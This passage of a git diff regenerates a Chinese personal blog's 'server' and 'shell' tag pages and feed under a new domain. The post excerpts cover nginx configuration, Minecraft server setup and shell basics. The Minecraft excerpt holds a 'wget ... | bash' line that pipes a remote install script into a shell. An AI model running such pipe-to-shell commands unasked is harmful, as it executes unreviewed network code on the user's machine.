class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/tags/>Tags</a></div><h1>server</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>Nginx服务器的一些简单配置</h2></header><div class=entry-content><p>配置ssl证书
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>server | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/tags/server/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/tags/server/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="server"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/tags/server/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="server"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/tags/>Tags</a></div><h1>server</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>Nginx服务器的一些简单配置</h2></header><div class=entry-content><p>配置ssl证书
 前提是已经申请到ssl证书,并且开放443端口
 编辑nginx.conf
 将443那几行的注释去掉（#）,并且修改
 ssl_certificate “crt证书的绝对路径”; ssl_certificate_key"key证书的绝对路径";
 如果想访问网站就301重定向到https，那么添加这几行
-server{
-listen 80;
-server_name xiaochenabc123.test.com;
-rewrite ^(.*) https://$host$1 permanent;
-}
-# 当使用80端口访问网站时，将301永久重定向到https://xiaochenabc123.test.com，达到全站https的效果
+server{ listen 80; server_name xiaochenabc123.test.com; rewrite ^(.*) https://$host$1 permanent; } # 当使用80端口访问网站时，将301永久重定向到https://xiaochenabc123.test.com，达到全站https的效果
 然后刷新一下配置nginx -s
 nginx反向代理配置
 将客户端请求转发给内部网络的其他目标服务端，并且将从其他服务端的结果返回到客户端，代理服务端和目标服务端，在外部看起来像是一个整体，只是将请求转发给其他服务端处理，从而达到减轻目标服务端的压力的效果
 配置nginx.conf
-location / {
-proxy_pass https://test.xiaochenabc123.test.com; # 反向代理服务器地址
-proxy_connect_timeout 200; # 设置连接超时
-proxy_read_timeout 200; # 设置读响应超时
-}
-重启Nginx服务：service nginx restart
+location / { proxy_pass https://test.xiaochenabc123.test.com; # 反向代理服务器地址 proxy_connect_timeout 200; # 设置连接超时 proxy_read_timeout 200; # 设置读响应超时 } 重启Nginx服务：service nginx restart
 请求当前服务器时，当前服务器将请求转发给地址为 https://test.xiaochenabc123.test.com 的服务器处理
 gzip压缩
-gzip on;
-gzip_comp_level 1; gzip_min_length 10;
-gzip_http_version 1.1;
-gzip_types text/html text/plain text/css application/json application/javascript text/xml application/xml application/xml+rss text/javascript;
-解释：
-gzip on // gzip开启，关闭是off...</p></div><footer class=entry-footer><span title='2021-06-16 15:52:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Nginx服务器的一些简单配置" href=https://xiaochenabc123.github.io/posts/34/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>Linux环境下简单搭建Minecraft服务器（java版）</h2></header><div class=entry-content><p>服务器可以使用国内的，保证延迟低，服务器配置一定要高一点，不然很容易Killed
+gzip on; gzip_comp_level 1; gzip_min_length 10; gzip_http_version 1.1; gzip_types text/html text/plain text/css application/json application/javascript text/xml application/xml application/xml+rss text/javascript; 解释：
+gzip on // gzip开启，关闭是off...</p></div><footer class=entry-footer><span title='2021-06-16 15:52:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Nginx服务器的一些简单配置" href=https://chenjunlinabc.github.io/posts/34/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>Linux环境下简单搭建Minecraft服务器（java版）</h2></header><div class=entry-content><p>服务器可以使用国内的，保证延迟低，服务器配置一定要高一点，不然很容易Killed
 安装java
 dnf install java-openjdk
 检测java是否安装成功
@@ -55,7 +41,7 @@
 在服务端目录，找到server.properties文件
 修改这个文件，把onlinemode 改为 false
 MCSManager面板
-wget -qO- https://gitee.com/mcsmanager/script/raw/master/setup.sh | bash</p></div><footer class=entry-footer><span title='2021-06-16 15:46:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Linux环境下简单搭建Minecraft服务器（java版）" href=https://xiaochenabc123.github.io/posts/33/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+wget -qO- https://gitee.com/mcsmanager/script/raw/master/setup.sh | bash</p></div><footer class=entry-footer><span title='2021-06-16 15:46:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Linux环境下简单搭建Minecraft服务器（java版）" href=https://chenjunlinabc.github.io/posts/33/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git a/tags/server/index.xml b/tags/server/index.xml
index f621d031..49e68e89 100644
--- a/tags/server/index.xml
+++ b/tags/server/index.xml
@@ -2,46 +2,46 @@
 <rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
   <channel>
     <title>server on 小陈的个人博客</title>
-    <link>https://xiaochenabc123.github.io/tags/server/</link>
+    <link>https://chenjunlinabc.github.io/tags/server/</link>
     <description>Recent content in server on 小陈的个人博客</description>
     <image>
       <title>小陈的个人博客</title>
-      <url>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
-      <link>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
+      <url>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
+      <link>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
     </image>
     <generator>Hugo -- gohugo.io</generator>
     <language>zh-cn</language>
-    <lastBuildDate>Wed, 16 Jun 2021 15:52:00 +0000</lastBuildDate><atom:link href="https://xiaochenabc123.github.io/tags/server/index.xml" rel="self" type="application/rss+xml" />
+    <lastBuildDate>Wed, 16 Jun 2021 15:52:00 +0000</lastBuildDate><atom:link href="https://chenjunlinabc.github.io/tags/server/index.xml" rel="self" type="application/rss+xml" />
     <item>
       <title>Nginx服务器的一些简单配置</title>
-      <link>https://xiaochenabc123.github.io/posts/34/</link>
+      <link>https://chenjunlinabc.github.io/posts/34/</link>
       <pubDate>Wed, 16 Jun 2021 15:52:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/34/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/34/</guid>
       <description>配置ssl证书
 前提是已经申请到ssl证书,并且开放443端口
 编辑nginx.conf
 将443那几行的注释去掉（#）,并且修改
 ssl_certificate &amp;ldquo;crt证书的绝对路径&amp;rdquo;; ssl_certificate_key&amp;quot;key证书的绝对路径&amp;quot;;
 如果想访问网站就301重定向到https，那么添加这几行
-server{
listen 80;
server_name xiaochenabc123.test.com;
rewrite ^(.*) https://$host$1 permanent;
}
# 当使用80端口访问网站时，将301永久重定向到https://xiaochenabc123.test.com，达到全站https的效果
+server{ listen 80; server_name xiaochenabc123.test.com; rewrite ^(.*) https://$host$1 permanent; } # 当使用80端口访问网站时，将301永久重定向到https://xiaochenabc123.test.com，达到全站https的效果
 然后刷新一下配置nginx -s
 nginx反向代理配置
 将客户端请求转发给内部网络的其他目标服务端，并且将从其他服务端的结果返回到客户端，代理服务端和目标服务端，在外部看起来像是一个整体，只是将请求转发给其他服务端处理，从而达到减轻目标服务端的压力的效果
 配置nginx.conf
-location / {
proxy_pass https://test.xiaochenabc123.test.com; # 反向代理服务器地址
proxy_connect_timeout 200; # 设置连接超时
proxy_read_timeout 200; # 设置读响应超时
}
重启Nginx服务：service nginx restart
+location / { proxy_pass https://test.xiaochenabc123.test.com; # 反向代理服务器地址 proxy_connect_timeout 200; # 设置连接超时 proxy_read_timeout 200; # 设置读响应超时 } 重启Nginx服务：service nginx restart
 请求当前服务器时，当前服务器将请求转发给地址为 https://test.xiaochenabc123.test.com 的服务器处理
 gzip压缩
-gzip on;
gzip_comp_level 1; gzip_min_length 10;
gzip_http_version 1.1;
gzip_types text/html text/plain text/css application/json application/javascript text/xml application/xml application/xml+rss text/javascript;
解释：
+gzip on; gzip_comp_level 1; gzip_min_length 10; gzip_http_version 1.1; gzip_types text/html text/plain text/css application/json application/javascript text/xml application/xml application/xml+rss text/javascript; 解释：
 gzip on // gzip开启，关闭是off</description>
     </item>
     
     <item>
       <title>Linux环境下简单搭建Minecraft服务器（java版）</title>
-      <link>https://xiaochenabc123.github.io/posts/33/</link>
+      <link>https://chenjunlinabc.github.io/posts/33/</link>
       <pubDate>Wed, 16 Jun 2021 15:46:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/33/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/33/</guid>
       <description>服务器可以使用国内的，保证延迟低，服务器配置一定要高一点，不然很容易Killed
 安装java
 dnf install java-openjdk
diff --git a/tags/server/page/1/index.html b/tags/server/page/1/index.html
index 48a473fa..dcae57f9 100644
--- a/tags/server/page/1/index.html
+++ b/tags/server/page/1/index.html
@@ -1 +1 @@
-<!doctype html><html lang=zh-cn><head><title>https://xiaochenabc123.github.io/tags/server/</title><link rel=canonical href=https://xiaochenabc123.github.io/tags/server/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://xiaochenabc123.github.io/tags/server/"></head></html>
\ No newline at end of file
+<!doctype html><html lang=zh-cn><head><title>https://chenjunlinabc.github.io/tags/server/</title><link rel=canonical href=https://chenjunlinabc.github.io/tags/server/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://chenjunlinabc.github.io/tags/server/"></head></html>
\ No newline at end of file
diff --git a/tags/shell/index.html b/tags/shell/index.html
index 2925f741..02dfe0f4 100644
--- a/tags/shell/index.html
+++ b/tags/shell/index.html
@@ -1,8 +1,6 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>shell | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/tags/shell/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/tags/shell/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="shell"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/tags/shell/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="shell"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/tags/>Tags</a></div><h1>shell</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>shell脚本学习笔记</h2></header><div class=entry-content><p>shell中文意思为壳，shell可以接受使用者的指令，来调用服务，shell的种类很多，而比较常见是Bash，头部声明#!/bin/bash，表示bash是解释脚本的程序
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>shell | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/tags/shell/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/tags/shell/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="shell"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/tags/shell/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="shell"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/tags/>Tags</a></div><h1>shell</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>shell脚本学习笔记</h2></header><div class=entry-content><p>shell中文意思为壳，shell可以接受使用者的指令，来调用服务，shell的种类很多，而比较常见是Bash，头部声明#!/bin/bash，表示bash是解释脚本的程序
 例如：
-#!/bin/bash
-echo "hallo word"
-执行该脚本（注意：需要有可执行权限，sudo chmod +x hallo.sh）
+#!/bin/bash echo "hallo word" 执行该脚本（注意：需要有可执行权限，sudo chmod +x hallo.sh）
 bash hallo.sh
 也可以直接执行
 ./hallo.sh
@@ -27,12 +25,7 @@
 获取当前脚本shell进程的ID：$$
 获取后台运行的最后一个进程的ID：$!
 配合函数使用（参数也可以通过函数来传递）
-function abc(){
-echo "参数1: $1"
-echo "被执行的脚本为: $0"
-}
-abc hallo
